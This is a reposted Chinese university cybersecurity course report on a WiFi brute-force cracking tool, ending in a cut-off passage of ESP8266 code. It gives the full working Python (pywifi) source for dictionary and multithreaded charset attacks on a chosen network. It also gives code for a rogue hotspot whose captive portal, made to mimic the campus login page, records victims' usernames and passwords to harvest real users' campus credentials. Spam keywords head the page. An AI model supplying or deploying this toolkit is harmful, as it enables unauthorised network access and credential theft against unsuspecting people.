国产精品天干天干,亚洲毛片在线,日韩gay小鲜肉啪啪18禁,女同Gay自慰喷水

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

基于esp8266和python的fish

2023-07-22 00:22 作者:外號(hào)不可能是老瞇  | 我要投稿


?

?

?

?

石河子大學(xué)

信息科學(xué)與技術(shù)學(xué)院

?

<網(wǎng)絡(luò)空間安全綜合實(shí)踐>項(xiàng)目成果報(bào)告

?

2022—2023學(xué)年第一學(xué)期

? ? ? ? ? ? ? ??

?

完成日期:二○二三年5月28日

?


?

?

目 ???錄

?

?

1. 課題項(xiàng)目名稱:暴力破解WIFI密碼工具設(shè)計(jì)與實(shí)現(xiàn)

2. 理論背景/基礎(chǔ)知識(shí)/相關(guān)技術(shù)概述

3. 實(shí)踐任務(wù)環(huán)境/資源說(shuō)明

4. 實(shí)踐任務(wù)內(nèi)容

5. 過(guò)程/詳細(xì)步驟說(shuō)明

6. 課題項(xiàng)目/實(shí)踐任務(wù)結(jié)論

7. 總結(jié)與體會(huì)

附錄A  參考文獻(xiàn)

?


?

1.?課題項(xiàng)目名稱:暴力破解WIFI密碼工具設(shè)計(jì)與實(shí)現(xiàn)

題目任務(wù)簡(jiǎn)介:設(shè)計(jì)并實(shí)現(xiàn)一種能夠掃描附近WIFI站點(diǎn)并進(jìn)行暴力破解的工具.

2.?理論背景/基礎(chǔ)知識(shí)/相關(guān)技術(shù)概述

IEEE 802.11協(xié)議族成員如圖2-1所示。

?

圖2-1 ?IEEE 802.11協(xié)議族成員


802.11網(wǎng)絡(luò)的基本元素如圖2-2 ~ 圖2- 5所示

?

圖2-2 BSS(Basic Service Set)

?

?

圖2-3 DS(Distribution System,分布式系統(tǒng))

?

?

圖2-4 SSID(Service Set ID,服務(wù)集識(shí)別碼)

?

?

圖2-5 ESS(Extended Service Set,采用相同的SSID的多個(gè)BSS形成的更大規(guī)模的虛擬BSS)

?

?

?IEEE 802.11MAC 報(bào)文 數(shù)據(jù)幀如圖2-6所示。

?

圖2-6 IEEE 802.11MAC 報(bào)文 數(shù)據(jù)幀

?

IEEE 802.11MAC 報(bào)文 控制幀如圖2-7所示:

?

圖2-7 802.11MAC 報(bào)文 控制幀

?

IEEE 802.11MAC 報(bào)文 管理幀如圖2-8所示:

?

圖 2-8 802.11MAC 報(bào)文 管理幀

?

STA (工作站)啟動(dòng)初始化、開始正式使用、AP 傳送數(shù)據(jù)幀之前,要經(jīng)過(guò)三個(gè)階段才能接入:

掃描(Scaning)

認(rèn)證(Authentication)

關(guān)聯(lián)(Association)

其中 認(rèn)證(Authentication) 如圖 2-9 所示:

?

圖2-9 認(rèn)證(Authentication)

?

其中加密是實(shí)施認(rèn)證的 WLAN 安全組件。 IEEE 802.11 提供三種加密算法: 有線等效加密(WEP)、暫時(shí)密鑰集成協(xié)議(TKIP)和高級(jí)加密標(biāo)準(zhǔn) Counter-Mode/CBC-MAC 協(xié)議(AES-CCMP)。如表2-1所示:

加密算法

WEP

TKIP

AES-CCMP

簡(jiǎn)介

原始IEEE 802.11標(biāo)準(zhǔn)中指定的加密算法,使用純文本數(shù)據(jù)創(chuàng)建加密數(shù)據(jù)

基于RC4封裝算法,通過(guò)動(dòng)態(tài)密鑰管理增強(qiáng)了加密功能

適用于大規(guī)模網(wǎng)絡(luò)架構(gòu),易于部署和管理,提供了認(rèn)證、機(jī)密性、完整性和重發(fā)保護(hù)四種安全服務(wù)

安全性

易受攻擊,需定期更換密鑰,無(wú)完整認(rèn)證功能,難防內(nèi)部攻擊和動(dòng)態(tài)網(wǎng)絡(luò)拓?fù)浣Y(jié)構(gòu),需配合其他協(xié)議使用。

由于使用了過(guò)時(shí)的加密算法,可能會(huì)受到攻擊者的攻擊;沒(méi)有完全解決重放攻擊的問(wèn)題,需要其他機(jī)制來(lái)防止此類攻擊

AES-CCMP 是面向大眾的最高級(jí)無(wú)線安全協(xié)議;IEEE 802.11i 要求使用 CCMP 來(lái)提供全部四種安全服務(wù):認(rèn)證、機(jī)密性、完整性和重發(fā)保護(hù);CCMP 使用 128 位 AES加密算法實(shí)現(xiàn)機(jī)密性,使用其他CCMP協(xié)議組件實(shí)現(xiàn)其余三種服務(wù)

表2-1 IEEE 802.11 提供的三種加密算法

?

共享密鑰型認(rèn)證要求參與認(rèn)證過(guò)程的兩端具有相同的“共享”密鑰或密碼。共享密鑰型認(rèn)證手動(dòng)設(shè)置客戶端和接入點(diǎn)/路由器。共享密鑰認(rèn)證的三種類型現(xiàn)在都可應(yīng)用于家庭或小型辦公室無(wú)線局域網(wǎng)環(huán)境。如表2-2 所示:

加密算法

介紹

WEP(有線等效加密)

由 于 WEP 具有先天性缺陷,因此建議不要將其用于安全無(wú)線局域網(wǎng)。它的一個(gè)主要安全風(fēng)險(xiǎn)是黑客可以使用唾手可得的應(yīng)用軟件捕獲經(jīng)過(guò)加密的認(rèn)證響應(yīng)幀,并可使用這些信 息破解 WEP 加密。這個(gè)過(guò)程的步驟包括:客戶機(jī)發(fā)送認(rèn)證請(qǐng)求,接入點(diǎn)/路由器以明文形式發(fā)出盤問(wèn)文本,客戶機(jī)對(duì)盤問(wèn)文本進(jìn)行加密,然后接入點(diǎn)/路由器做出認(rèn)證響應(yīng)。

WPA(Wi-Fi 保護(hù)接入)

WPA 由 Wi-Fi 聯(lián)盟*(WFA)開發(fā),早于 IEEE 802.11i 的正式批準(zhǔn)時(shí)間,但它符合無(wú)線安全標(biāo)準(zhǔn)。它在安全性方面進(jìn)行了加強(qiáng),極大地提高了無(wú)線網(wǎng)絡(luò)的數(shù)據(jù)保護(hù)和訪問(wèn)控制(認(rèn)證)能力。WPA 執(zhí)行 802.1x 認(rèn)證和密鑰交換,只適用于動(dòng)態(tài)加密密鑰。

WPA2(Wi-Fi 保護(hù)接入)

在 WPA 基礎(chǔ)上增強(qiáng)了安全性,用戶必須確??蛻舳撕?AP/路由器配置為使用相同的 WPA 版本和預(yù)共享密鑰(PSK)

表2-2 共享密鑰認(rèn)證的三種類型

?

密碼管理解決方案供貨商LastPass本周公布一調(diào)查報(bào)告,指出就算絕大多數(shù)的用戶都知道復(fù)雜密碼的重要性,但依舊有66%的使用者習(xí)慣采用同樣的密碼,而且有42%認(rèn)為,好記的密碼比安全性還重要。


3.?實(shí)踐任務(wù)環(huán)境/資源說(shuō)明

本課題需要1臺(tái)帶有活動(dòng)網(wǎng)絡(luò)連接(插有網(wǎng)卡)PC機(jī),PC機(jī)本機(jī)作為wifi的接入端(STA)。1臺(tái)可以開放熱點(diǎn)的手機(jī)或者平板,作為wifi的AP端。1個(gè)esp8266串口wifi模塊開發(fā)板。

其中主機(jī)/客戶端環(huán)境的配置如下表3-1所示:

操作系統(tǒng)

Windows 10 專業(yè)版

Python 開發(fā)工具

Python IDEL shell (版本:3.9.2)

Esp8266 開發(fā)工具

Arduino?(版本:1.8.19)

Web瀏覽器

Microsoft Edge?(版本 114.0.1823.67 (正式版本) (64 位))

表3-1?主機(jī)(/STA端)的環(huán)境配置(主機(jī)配置)

?

AP端的環(huán)境配置如下表3-2所示:

型號(hào)

DVC-TN20

版本號(hào)

2.0.0.223(C01E205R2P6)

HARMONY0S

2.0.0

熱點(diǎn)密碼設(shè)置

66666688/20201008370

表3-2??AP端的環(huán)境配置(AP配置)

?

4.?實(shí)踐任務(wù)內(nèi)容

1、動(dòng)手實(shí)際安裝python開發(fā)工具;

2、動(dòng)手安裝python第三方庫(kù)(如:threading,tkinter,pywifi);

3、驗(yàn)證是否能在本機(jī)使用python的第三方庫(kù);

4、開發(fā)出使用密碼本無(wú)UI的python程序;

5、為之前使用密碼本無(wú)UI的python程序使用第三方庫(kù)threading、tkinter添加UI界面;

6、為項(xiàng)目添加使用字符集暴力破解的新功能;

7、在項(xiàng)目字符集暴力破解的功能基礎(chǔ)上添加多線程字符集暴力破解;

8、對(duì)esp8266進(jìn)行開發(fā),設(shè)置釣魚熱點(diǎn),設(shè)置簡(jiǎn)易的釣魚網(wǎng)站,使受害者在釣魚網(wǎng)站的輸入能被esp8266開發(fā)板獲取;

9、對(duì)釣魚網(wǎng)站進(jìn)行修飾,使得釣魚網(wǎng)站幾乎與石河子大學(xué)校園網(wǎng)登錄界面一樣;


5.?過(guò)程/詳細(xì)步驟說(shuō)明

5.1使用主要步驟:

1、部署esp8266釣魚網(wǎng)站,獲取他人登錄校園網(wǎng)的賬號(hào)和密碼,加入到密碼本中;

2、設(shè)置python暴力破解wifi工具參數(shù);

3、等待暴力破解結(jié)束;

4、利用破解出來(lái)的wifi密碼連接此wifi;

?

5.2使用具體過(guò)程/步驟說(shuō)明:

Step1:將固件燒錄至esp8266中,如圖5-1所示。

?

圖5-1??燒錄esp8266釣魚程序

部署esp8266,如圖5-2 所示。


圖5-2 連接電源(電腦/充電包 都可)部署esp8266

?

模仿“受害者”連接該釣魚wifi并且登錄釣魚網(wǎng)站

?

圖5-3 “受害者”登錄

?

?

圖5-4 當(dāng)esp8266等亮起表示釣魚成功

?

?

圖5-5 使用此程序讀取esp8266中的info.txt文件

?

?

圖5-6 串口輸出賬號(hào)和密碼

?

?

?

圖5-7 將串口輸出的賬號(hào)和密碼輸入pwd.txt(密碼本)中

?


Step2:配置python WiFi暴力破解工具的參數(shù) 如圖5-8所示:

?

圖5-8 配置pythonWiFi暴力破解工具的參數(shù)

?

Step3:等待破解成功

?

圖 5-9 暴力破解成功

Step4:連接wifi

?

圖5-10 成功連接名字為czx的wifi

?

5.3 其他功能演示

同時(shí)也可以使用字符集模式進(jìn)行破解:

?

圖5-11 將密碼設(shè)置成66666688

?

?

?

圖5-12 配置wifi破解工具參數(shù)

?

?

圖5-13 成功使用字符集破解wifi密碼

?

也可以使用多線程破解

?

圖5-14 設(shè)置多線程破解參數(shù)

?

?

圖5-15 使用多線程字符集破解成功破解


5.4代碼部分:

Python開發(fā)wifi破解工具代碼:

import pywifi

import time

from pywifi import const

from tkinter import *

from tkinter import ttk

from threading import Lock

from threading import Thread

import threading

import datetime

import tkinter.filedialog

import tkinter.messagebox

from tkinter import messagebox as box

?

desk = {

?

????#控制線程結(jié)束變量

????'sign' : False

?

}

# 先實(shí)例化,創(chuàng)建一個(gè)對(duì)象,deskLock是數(shù)據(jù)對(duì)象的名字

deskLock = Lock()

?

?

class MY_GUI():

????def __init__(self, init_window_name):

????????self.init_window_name = init_window_name

????????# 密碼文件路徑

????????self.get_value = StringVar() ?# 設(shè)置可變內(nèi)容

????????# 獲取破解wifi賬號(hào)

????????self.get_wifi_value = StringVar()

????????# 獲取wifi密碼

????????self.get_wifimm_value = StringVar()

?

????????#是否開啟字符集暴力破解

????????self.open_zf = StringVar()

????????#是否開啟多線程字符集暴力破解

????????self.open_more_zf = StringVar()

????????# 獲取字符集最短長(zhǎng)度

????????self.get_wifimm_minlen = StringVar()

????????# 獲取字符集最長(zhǎng)長(zhǎng)度

????????self.get_wifimm_maxlen = StringVar()

????????# 獲取字符集

????????self.get_wifimm_zf = StringVar()

????????

?

????????# 抓取網(wǎng)卡接口

????????self.wifi = pywifi.PyWiFi()

????????# 抓取第一個(gè)無(wú)線網(wǎng)卡

????????self.iface = self.wifi.interfaces()[0]

????????# 測(cè)試鏈接斷開所有鏈接

????????self.iface.disconnect()

????????#time.sleep(1) ?# 休眠1秒

????????# 測(cè)試網(wǎng)卡是否屬于斷開狀態(tài)

????????assert self.iface.status() in \

???????????????[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

?

?

?

?

????def __str__(self):

????????# 自動(dòng)會(huì)調(diào)用的函數(shù),返回自身的網(wǎng)卡

????????return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())

?

?

?

?

????# 設(shè)置窗口

????def set_init_window(self):

????????self.init_window_name.title("WIFI破解工具")

????????self.init_window_name.geometry('+500+200')

????????

????????labelframe = LabelFrame(width=400, height=400, text="配置") ?# 框架,以下對(duì)象都是對(duì)于labelframe中添加的

????????labelframe.grid(column=0, row=0, padx=10, pady=10)

????????

????????self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list)

????????self.search.grid(column=0, row=0)

????????

????????self.pojie = Button(labelframe, text="開始破解", command=self.readPassWord)

????????self.pojie.grid(column=1, row=0)

????????

????????self.label = Label(labelframe, text="目錄路徑:")

????????self.label.grid(column=0, row=1)

????????

????????self.path = Entry(labelframe, width=12, textvariable=self.get_value)

????????self.path.grid(column=1, row=1)

????????

????????self.file = Button(labelframe, text="添加密碼文件目錄", command=self.add_mm_file)

????????self.file.grid(column=2, row=1)

?

????????#1為選中,0為不選,默認(rèn)開啟字符集模式

????????self.open_zf.set(1)

????????self.chk_zf = Checkbutton(labelframe, text="開啟字符集模式",var=self.open_zf)

????????self.chk_zf.grid(column=0, row=2)

????????

????????#1為選中,0為不選,默認(rèn)關(guān)閉多線程模式

????????self.open_more_zf.set(0)

????????self.chk_more_zf = Checkbutton(labelframe,bd=1,text="開啟多線程字符集模式(速度快但是不穩(wěn)定)",var=self.open_more_zf)

????????self.chk_more_zf.grid(column=1, row=2,columnspan=2)

????????

????????self.wifi_mm_minlen_text = Label(labelframe, text="最短字符長(zhǎng)度:")

????????self.wifi_mm_minlen_text.grid(column=0, row=3)

????????

????????self.wifi_mm_minlen = Spinbox(labelframe, from_=1, to=100,width=5, textvariable=self.get_wifimm_minlen)

????????self.wifi_mm_minlen.grid(column=1, row=3)

????????

????????self.wifi_mm_maxlen_text = Label(labelframe, text="最長(zhǎng)字符長(zhǎng)度:")

????????self.wifi_mm_maxlen_text.grid(column=2, row=3)

????????

????????self.wifi_mm_maxlen = Spinbox(labelframe, from_=1, to=100,width=5, textvariable=self.get_wifimm_maxlen)

????????self.wifi_mm_maxlen.grid(column=3, row=3)

????????

????????self.wifi_mm_zf_text = Label(labelframe, text="字符集:")

????????self.wifi_mm_zf_text.grid(column=0, row=4)

????????

????????self.wifi_mm_zf = Entry(labelframe, textvariable=self.get_wifimm_zf)

????????self.wifi_mm_zf.grid(column=1, row=4,sticky=E+W)

?

????????self.wifi_text = Label(labelframe, text="WiFiSSID:")

????????self.wifi_text.grid(column=0, row=5)

????????

????????self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value)

????????self.wifi_input.grid(column=1, row=5,sticky=E+W)

?

????????self.wifi_mm_text = Label(labelframe, text="WiFi密碼:")

????????self.wifi_mm_text.grid(column=2, row=5)

????????

????????self.wifi_mm_input = Entry(labelframe,width=10, textvariable=self.get_wifimm_value)

????????self.wifi_mm_input.grid(column=3, row=5,sticky=W)

????????

????????self.wifi_labelframe = LabelFrame(text="wifi列表")

????????self.wifi_labelframe.grid(column=0, row=6, columnspan=4, sticky=N+S+E+W)

????????

????????# 定義樹形結(jié)構(gòu)與滾動(dòng)條

????????self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))

????????

????????self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)

????????

????????self.wifi_tree.configure(yscrollcommand=self.vbar.set)

????????

????????# 表格的標(biāo)題

????????self.wifi_tree.column("a", width=50, anchor="center")

????????self.wifi_tree.column("b", width=100, anchor="center")

????????self.wifi_tree.column("c", width=100, anchor="center")

????????self.wifi_tree.column("d", width=100, anchor="center")

????????self.wifi_tree.heading("a", text="WiFiID")

????????self.wifi_tree.heading("b", text="SSID")

????????self.wifi_tree.heading("c", text="BSSID")

????????self.wifi_tree.heading("d", text="信號(hào)強(qiáng)度")

????????self.wifi_tree.grid(row=4, column=0, sticky=N+S+E+W)

????????self.wifi_tree.bind("<Double-1>", self.onDBClick)

????????self.vbar.grid(row=4, column=1, sticky=N+S)

?

?

?

?

????# 搜索wifi

????def scans_wifi_list(self): ?# 掃描周圍wifi列表

????????#threading.Thread(target=self.dg_zf_1,args=("x"*(10),0)).start()

????????#threading.Thread.self.dg_zf_1(self,"x"*(10),0).start()

## ???????a=self.get_wifimm_zf.get()

## ???????i=self.get_wifimm_minlen.get()

## ???????k=self.get_wifimm_maxlen.get()

## ???????print(self.open_zf.get())

## ???????print(self.open_zf.get()== '1')

##

## ???????print(self.get_wifimm_minlen.get())

## ???????print(self.get_wifimm_maxlen.get())

## ???????print(a[0])

## ???????

## ???????for i1 in range(int(i),int(k)):#長(zhǎng)度遍歷

## ???????????print("當(dāng)前長(zhǎng)度為:%s" % i1)

## ???????????self.dg_zf(a[0]*i1,0)

## ???????s=self.dg_zf(4,a[0]*4,0)

## ???????print(s)

## ???????print(self.dg_zf(4,a[0]*4,0)

?

????????

????????# 開始掃描

????????print("開始掃描附近wifi...")

????????self.iface.scan()

????????time.sleep(1)

????????# 在若干秒后獲取掃描結(jié)果

????????scanres = self.iface.scan_results()

????????# 統(tǒng)計(jì)附近被發(fā)現(xiàn)的熱點(diǎn)數(shù)量

????????nums = len(scanres)

????????print("數(shù)量: %s" % (nums))

????????# 實(shí)際數(shù)據(jù)

????????self.show_scans_wifi_list(scanres)

????????return scanres

?

????#遞歸遍歷字符集

????def dg_zf(self,password,a):

?

????????zf=self.get_wifimm_zf.get()

????????#password = zf[0]*maxlen

????????if a < len(password):

????????????for i in range(0,len(zf)):

????????????????password = list(password)

????????????????password[a]=zf[i]

????????????????password=''.join(password)

????????????????#print(password)#不應(yīng)該在此處輸出會(huì)多幾行不必要的輸出

????????????????if self.dg_zf(password,a+1):

????????????????????return True

????????????????

????????else:

????????????#print(password)#應(yīng)當(dāng)在此輸出

????????????#字符集破解

????????????self.bool1 = self.connect(password, self.get_wifissid)

????????????if self.bool1:

????????????????self.res = "[*] 密碼正確!wifi名:%s,匹配密碼:%s " % (self.get_wifissid, password)

????????????????self.get_wifimm_value.set(password)

????????????????tkinter.messagebox.showinfo('提示', '破解成功?。?!')

????????????????print(self.res)

????????????????

????????????????return True

????????????else:

????????????????self.res = "[*] 密碼錯(cuò)誤!wifi名:%s,匹配密碼:%s" % (self.get_wifissid, password)

????????????????print(self.res)

????????????????return False

????????????#time.sleep(3)

?

?

????#多線程遞歸遍歷字符集1

????def dg_zf_1(self,password,a):

?

????????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖

????????#deskLock.acquire()

????????#檢查是否結(jié)束

????????sign = desk['sign']

????????if sign:

????????????return True

????????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖

????????#deskLock.release()

?

????????zf=self.get_wifimm_zf.get()

????????#password = zf[0]*maxlen

????????if a < len(password)-1:

????????????for i in range(0,len(zf)):

????????????????password = list(password)

????????????????password[a]=zf[i]

????????????????password=''.join(password)

????

????????????????#print(password)#不應(yīng)該在此處輸出會(huì)多幾行不必要的輸出

????????????????if self.dg_zf_1(password,a+1):

????????????????????return True

????????????????

????????else:

????????????#print(password)#應(yīng)當(dāng)在此輸出

????????????#字符集破解

????????????

?????????????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖

????????????deskLock.acquire()

????????????self.bool1 = self.connect(password, self.get_wifissid)

?????????????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖

????????????deskLock.release()

????????????

????????????if self.bool1:

????????????????self.res = "[*] 密碼正確!wifi名:%s,匹配密碼:%s " % (self.get_wifissid, password)

????????????????self.get_wifimm_value.set(password)

????????????????tkinter.messagebox.showinfo('提示', '破解成功?。?!')

????????????????print(self.res)

????????????????

????????????????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖

????????????????deskLock.acquire()

????????????????#把sign設(shè)置為true

????????????????desk['sign'] = True

????????????????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖

????????????????deskLock.release()

?

????????????????return True

????????????else:

????????????????self.res = "[*] 密碼錯(cuò)誤!wifi名:%s,匹配密碼:%s" % (self.get_wifissid, password)

????????????????print(self.res)

????????????????return False

????????????#time.sleep(3)

?

## ???#多線程遞歸遍歷字符集2倒敘

## ???def dg_zf_2(self,password,a):

## ???????

## ???????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖

## ???????deskLock.acquire()

## ???????#檢查是否結(jié)束

## ???????sign = desk['sign']

## ???????if sign:

## ???????????return True

## ???????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖

## ???????deskLock.release()

## ???????

## ???????zf=self.get_wifimm_zf.get()

## ???????#password = zf[0]*maxlen

## ???????if a >= 0 :

## ???????????for i in range(0,len(zf)):

## ???????????????password = list(password)

## ???????????????password[a]=zf[i]

## ???????????????password=''.join(password)

## ???

## ???????????????#print(password)#不應(yīng)該在此處輸出會(huì)多幾行不必要的輸出

## ???????????????if self.dg_zf_2(password,a -1):

## ???????????????????return True

## ???????????????

## ???????else:

## ???????????#print(password)#應(yīng)當(dāng)在此輸出

## ???????????#字符集破解

## ???????????self.bool1 = self.connect(password, self.get_wifissid)

## ???????????if self.bool1:

## ???????????????self.res = "[*] 密碼正確!wifi名:%s,匹配密碼:%s " % (self.get_wifissid, password)

## ???????????????self.get_wifimm_value.set(password)

## ???????????????tkinter.messagebox.showinfo('提示', '破解成功!?。?#39;)

## ???????????????print(self.res)

## ???????????????

## ????????????????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖

## ???????????????deskLock.acquire()

## ???????????????#把sign設(shè)置為true

## ???????????????desk['sign'] = True

## ???????????????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖

## ???????????????deskLock.release()

## ???????????????

## ???????????????return True

## ???????????else:

## ???????????????self.res = "[*] 密碼錯(cuò)誤!wifi名:%s,匹配密碼:%s" % (self.get_wifissid, password)

## ???????????????print(self.res)

## ???????????????return False

## ???????????#time.sleep(3)

?

?

????????????????

????# 顯示wifi列表

????def show_scans_wifi_list(self, scans_res):

????????for index, wifi_info in enumerate(scans_res):

????????????self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))

?

?

?

?

????# 添加密碼文件目錄

????def add_mm_file(self):

????????self.filename = tkinter.filedialog.askopenfilename()

????????self.get_value.set(self.filename)

?

?

?

?

????# Treeview綁定事件

????def onDBClick(self, event):

????????self.sels = event.widget.selection()

????????self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])

?

?

?

?

????# 讀取密碼字典,進(jìn)行匹配

????def readPassWord(self):

????????self.getFilePath = self.get_value.get()

????????self.get_wifissid = self.get_wifi_value.get()

????????pwdfilehander = open(self.getFilePath, "r", errors="ignore")

?

????????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖

????????deskLock.acquire()

????????#將sign設(shè)置為false防止再次破解時(shí)無(wú)法啟動(dòng)字符集破解

????????desk['sign'] = False

????????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖

????????deskLock.release()

?

????????

????????#密碼本破解

????????while True:

????????????try:

????????????????self.pwdStr = pwdfilehander.readline()

????????????????self.bool1 = self.connect(self.pwdStr, self.get_wifissid)

????????????????if self.bool1:

????????????????????self.res = "[*] 密碼正確!wifi名:%s,匹配密碼:%s " % (self.get_wifissid, self.pwdStr)

????????????????????self.get_wifimm_value.set(self.pwdStr)

????????????????????tkinter.messagebox.showinfo('提示', '破解成功?。?!')

????????????????????print(self.res)

????????????????????return True

????????????????????#break

????????????????else:

????????????????????self.res = "[*] 密碼錯(cuò)誤!wifi名:%s,匹配密碼:%s" % (self.get_wifissid, self.pwdStr)

????????????????????print(self.res)

?

????

????????????????#如果為或空!結(jié)束

????????????????if(self.pwdStr == "!" or (not self.pwdStr) ):

????????????????????self.res = "[*] 破解破解未成功!密碼不在密碼本中"

????????????????????#tkinter.messagebox.showinfo('提示', '破解破解未成功!密碼不在密碼本中!')

????????????????????print(self.res)

????????????????????break

????????????????#time.sleep(3)

?

????????????except:

????????????????continue

????????????

????????#字符集破解

????????if ?self.open_zf.get()=='1':

????????????if self.open_more_zf.get()=='1':

????????????????self.zf_more_sreach_password()

????????????else:

????????????????self.zf_sreach_password()

????????????????

?

?

?

????#字符集破解反饋

????def zf_sreach_password(self):

????????a=self.get_wifimm_zf.get()

????????i=self.get_wifimm_minlen.get()

????????k=self.get_wifimm_maxlen.get()

????????for i1 in range(int(i),int(k)+1):#長(zhǎng)度遍歷

????????????print("當(dāng)前長(zhǎng)度為:%s" % i1)

????????????#單線程

????????????if self.dg_zf("x"*i1,0):

????????????????return True

????????self.res = "[*] 破解破解未成功!密碼不在字符集中"

????????#tkinter.messagebox.showinfo('提示', '破解破解未成功!密碼不在字符集中')

????????print(self.res)

????????return False

????

????#多線程字符集破解反饋

????def zf_more_sreach_password(self):

????????a=self.get_wifimm_zf.get()

????????i=self.get_wifimm_minlen.get()

????????k=self.get_wifimm_maxlen.get()

????????for i1 in range(int(i),int(k)+1):#長(zhǎng)度遍歷

????????????#print("當(dāng)前長(zhǎng)度為:%s" % i1)

?

????????????#thread = []

????????????for i in range(0,len(a)):

????????????????#創(chuàng)建 Thread 實(shí)例

????????????????#thread.append(threading.Thread(target=self.dg_zf_1,args=("x"*(i1-1)+a[i],0)))

????????????????thread1 =threading.Thread(target=self.dg_zf_1,args=("x"*(i1-1)+a[i],0))

?????????????????# 啟動(dòng)線程運(yùn)行

????????????????thread1.start()

????????????????#threading.Thread(target=self.dg_zf_1,args=("x"*(i1-1)+a[i],0)).start()

?????????????????#threading.Thread.dg_zf_1("x"*(i1-1)+a[i],0).start()

????????????????

????????????#print("2")

????????????# 等待所有線程執(zhí)行完畢

????????????#thread1.join()

????????????#thread2.join()

?

????????????#print("3")

????????????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖

## ???????????deskLock.acquire()

## ???????????#檢查是否結(jié)束

## ???????????sign = desk['sign']

## ???????????if sign:

## ???????????????return True

## ???????????# 操作共享數(shù)據(jù)前,申請(qǐng)獲取鎖

## ???????????deskLock.release()

?

????????#thread1.join()

????????#self.res = "[*] 破解破解未成功!密碼不在字符集中"

????????tkinter.messagebox.showinfo('提示', '正在進(jìn)行多線程破解!無(wú)輸出表示結(jié)束!')

????????print(self.res)

????????return False

?

?

?

????# 對(duì)wifi和密碼進(jìn)行匹配

????def connect(self, pwd_Str, wifi_ssid):

????????# 創(chuàng)建wifi鏈接文件

????????self.profile = pywifi.Profile()

????????self.profile.ssid = wifi_ssid ?# wifi名稱

????????self.profile.auth = const.AUTH_ALG_OPEN ?# 網(wǎng)卡的開放

????????

## ???????self.profile.akm.append(const.AKM_TYPE_NONE) ?# 沒(méi)有安全設(shè)置 wifi加密算法

## ???????self.profile.akm.append(const.AKM_TYUPE_WPAPSK) ?# WPA wifi加密算法

## ???????AKM_TYPE_WPA 和AKM_TYPE_WPA2 被企業(yè)AP所使用。

????????self.profile.akm.append(const.AKM_TYPE_WPA2PSK) ?# WPA2 wifi加密算法

????????

????????self.profile.cipher = const.CIPHER_TYPE_CCMP ?# 加密單元

????????self.profile.key = pwd_Str ?# 密碼

????????self.iface.remove_all_network_profiles() ?# 刪除所有的wifi文件

????????self.tmp_profile = self.iface.add_network_profile(self.profile) ?# 設(shè)定新的鏈接文件

????????self.iface.connect(self.tmp_profile) ?# 鏈接

????????time.sleep(3)

????????if self.iface.status() == const.IFACE_CONNECTED: ?# 判斷是否連接上

????????????isOK = True

????????else:

????????????isOK = False

????????self.iface.disconnect() ?# 斷開

????????time.sleep(1)

????????# 檢查斷開狀態(tài)

????????assert self.iface.status() in \

???????????????[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

????????return isOK

## ???????if self.iface.status() in ?[const.IFACE_CONNECTED,const.IFACE_INACTIVE]: ?# 判斷是否連接上

## ???????????isOK = True

## ???????????return isOK

## ???????else:

## ???????????isOK = False

## ???????????return isOK

?

?

?

def gui_start():

????init_window = Tk()

????ui = MY_GUI(init_window)

????print(ui)

????ui.set_init_window()

????init_window.mainloop()

?

?

?

?

if __name__ == "__main__":

????gui_start()

?

?

Esp8266開發(fā)板制作釣魚熱點(diǎn)代碼

#include <ESP8266WiFi.h>

#include <DNSServer.h>

#include <FS.h>

#include <ESP8266WebServer.h>

?

const char* AP_NAME = "Shzu";//wifi名字

?

const byte DNS_PORT = 53;//DNS端口號(hào)

IPAddress apIP(10, 255, 0, 38);//esp8266-AP-IP地址6+6+

DNSServer dnsServer;//創(chuàng)建dnsServer實(shí)例

ESP8266WebServer server(80);//創(chuàng)建WebServer

?

?

void handleRoot() {//訪問(wèn)主頁(yè)回調(diào)函數(shù)

?

????// 獲取用戶請(qǐng)求網(wǎng)址信息

????

??String webAddress = server.uri();

// ?Serial.print("webAddress:");Serial.println(webAddress);

??

??if(webAddress=="/Get_Info"){

??Serial.print("用戶名:"); Serial.println(server.arg("userName"));

??Serial.print("密碼:"); Serial.println(server.arg("password"));

????????//確認(rèn)閃存中是否有file_name文件

??????String file_name="/info.txt";

??????if (SPIFFS.exists(file_name)){

????????Serial.print(file_name);

????????Serial.println(" FOUND.");

????????File dataFile = SPIFFS.open(file_name, "a");// 建立File對(duì)象用于向SPIFFS中的file對(duì)象(即/notes.txt)寫入信息

????????//dataFile.println("用戶名:"); // 向dataFile添加字符串信息

????????dataFile.println(server.arg("userName"));

????????//dataFile.println(" ??密碼:");

????????dataFile.println(server.arg("password"));

????????dataFile.println("\n\r");

????????dataFile.close(); ??????????????????????????// 完成文件操作后關(guān)閉文件 ??

????????Serial.println("Finished Appending data to SPIFFS");

????????

????????digitalWrite(LED_BUILTIN, LOW); ?// 開燈

????????

????} else {

????????Serial.print(file_name);

????????Serial.print(" NOT FOUND.");

????????}

??}

??if(webAddress.endsWith(".css")or webAddress.endsWith(".js") or webAddress.endsWith(".png")or webAddress.endsWith(".ico")or webAddress.endsWith(".jpg") ){

????if (SPIFFS.exists(webAddress)){

????Serial.print(webAddress);Serial.println("文件存在!");

????String contentType = getContentType(webAddress);

????File file = SPIFFS.open(webAddress, "r"); ?????????// 則嘗試打開該文件

